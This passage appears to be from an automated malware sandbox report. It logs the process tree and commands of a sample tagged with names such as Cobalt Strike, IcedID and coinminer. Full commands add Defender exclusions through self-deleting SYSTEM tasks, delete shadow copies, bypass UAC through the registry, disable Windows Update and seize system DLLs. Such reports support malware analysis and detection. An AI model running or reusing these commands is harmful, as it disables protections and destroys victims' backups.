PID 5624 wrote to memory of 6076	5624	OTiskR.exe	95
PID 5624 wrote to memory of 4772	5624	OTiskR.exe	98
PID 6076 wrote to memory of 876	6076	cmd.exe	100
PID 4772 wrote to memory of 3408	4772	cmd.exe	101
PID 6076 wrote to memory of 4060	6076	cmd.exe	102
PID 6076 wrote to memory of 2996	6076	cmd.exe	105
PID 4772 wrote to memory of 516	4772	cmd.exe	106
PID 4772 wrote to memory of 3972	4772	cmd.exe	108
PID 5624 wrote to memory of 5188	5624	OTiskR.exe	109
PID 5188 wrote to memory of 1032	5188	cmd.exe	112
PID 5624 wrote to memory of 5020	5624	OTiskR.exe	113
PID 5188 wrote to memory of 3652	5188	cmd.exe	115
PID 5020 wrote to memory of 3188	5020	cmd.exe	117
PID 5188 wrote to memory of 4524	5188	cmd.exe	119
PID 5020 wrote to memory of 3520	5020	cmd.exe	120
PID 5020 wrote to memory of 2416	5020	cmd.exe	121
PID 5624 wrote to memory of 3648	5624	OTiskR.exe	123
PID 3648 wrote to memory of 1304	3648	cmd.exe	125
PID 3648 wrote to memory of 4988	3648	cmd.exe	126
PID 3648 wrote to memory of 3268	3648	cmd.exe	128
PID 3424 wrote to memory of 1248	3424	cmd.exe	130
PID 1772 wrote to memory of 5096	1772	cmd.exe	131
PID 4888 wrote to memory of 3060	4888	cmd.exe	132
PID 5624 wrote to memory of 4824	5624	OTiskR.exe	133
PID 4824 wrote to memory of 4188	4824	tBzlx7.exe	136
PID 4824 wrote to memory of 3936	4824	tBzlx7.exe	138
PID 4824 wrote to memory of 3944	4824	tBzlx7.exe	141
PID 4824 wrote to memory of 5424	4824	tBzlx7.exe	144
PID 3936 wrote to memory of 5504	3936	cmd.exe	146
PID 4824 wrote to memory of 5528	4824	tBzlx7.exe	147
PID 4824 wrote to memory of 3796	4824	tBzlx7.exe	149
PID 4824 wrote to memory of 3844	4824	tBzlx7.exe	151
PID 5528 wrote to memory of 5760	5528	cmd.exe	153
PID 3796 wrote to memory of 4996	3796	cmd.exe	154
PID 4824 wrote to memory of 944	4824	tBzlx7.exe	155
PID 5760 wrote to memory of 4160	5760	net.exe	157
PID 3844 wrote to memory of 2712	3844	cmd.exe	158
PID 944 wrote to memory of 5828	944	cmd.exe	159
PID 4824 wrote to memory of 5548	4824	tBzlx7.exe	160
PID 3796 wrote to memory of 1796	3796	cmd.exe	162
PID 3844 wrote to memory of 2152	3844	cmd.exe	163
PID 5548 wrote to memory of 5912	5548	cmd.exe	165
PID 4824 wrote to memory of 1152	4824	tBzlx7.exe	166
PID 1152 wrote to memory of 6020	1152	cmd.exe	168
PID 3796 wrote to memory of 5984	3796	cmd.exe	169
PID 3844 wrote to memory of 5988	3844	cmd.exe	170
PID 5548 wrote to memory of 3364	5548	cmd.exe	171
PID 5548 wrote to memory of 3280	5548	cmd.exe	172
PID 4824 wrote to memory of 928	4824	tBzlx7.exe	173
PID 928 wrote to memory of 4080	928	cmd.exe	175
PID 4824 wrote to memory of 4036	4824	tBzlx7.exe	177
PID 4824 wrote to memory of 1044	4824	tBzlx7.exe	178
PID 4036 wrote to memory of 3960	4036	cmd.exe	181
PID 1044 wrote to memory of 6084	1044	cmd.exe	182
PID 4824 wrote to memory of 4828	4824	tBzlx7.exe	183
PID 4036 wrote to memory of 2140	4036	cmd.exe	185
PID 4828 wrote to memory of 924	4828	cmd.exe	186
PID 4036 wrote to memory of 1944	4036	cmd.exe	188
PID 4824 wrote to memory of 2340	4824	tBzlx7.exe	189
PID 2340 wrote to memory of 1988	2340	cmd.exe	191
PID 4824 wrote to memory of 4040	4824	tBzlx7.exe	192
PID 4040 wrote to memory of 5332	4040	cmd.exe	195
PID 4824 wrote to memory of 3444	4824	tBzlx7.exe	196
PID 2220 wrote to memory of 5132	2220	cmd.exe	198

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	tBzlx7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	tBzlx7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Ke9H6MyJ.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Ke9H6MyJ.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-10_5d69ebb987eeb009b7e2019f03f5ca2f_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2440

C:\Users\Public\brCsrq\OTiskR.exe
C:\Users\Public\brCsrq\OTiskR.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\brCsrq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\brCsrq\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:876
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3408
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:516
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3188
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3520
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1304
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3268
- C:\Program Files (x86)\tBzlx7\tBzlx7.exe
  "C:\Program Files (x86)\tBzlx7\tBzlx7.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4188
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3936
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5504
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3944
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5424
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5528
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5760
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4160
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3868
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:908
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3120
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4376
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3484
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1160
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:2244
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:5652
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2212
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3516
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2396
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:4736
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4684
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3096
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1096
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3988
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2636
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3464
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2400
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:552
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2624
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5432
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:5400
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5272
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2972
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3944
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\tBzlx7\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3796
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\tBzlx7\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4996
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1796
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5984
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2712
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2152
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5988
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5828
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:5548
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5912
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3364
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3280
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1152
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\tBzlx7.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:928
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\tBzlx7.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4036
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3960
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2140
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1944
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\tBzlx7.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1044
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\tBzlx7.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6084
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\tBzlx7.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4828
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\tBzlx7.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:924
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\tBzlx7\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\tBzlx7\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1988
- - C:\Windows\SysWOW64\cmd.exe
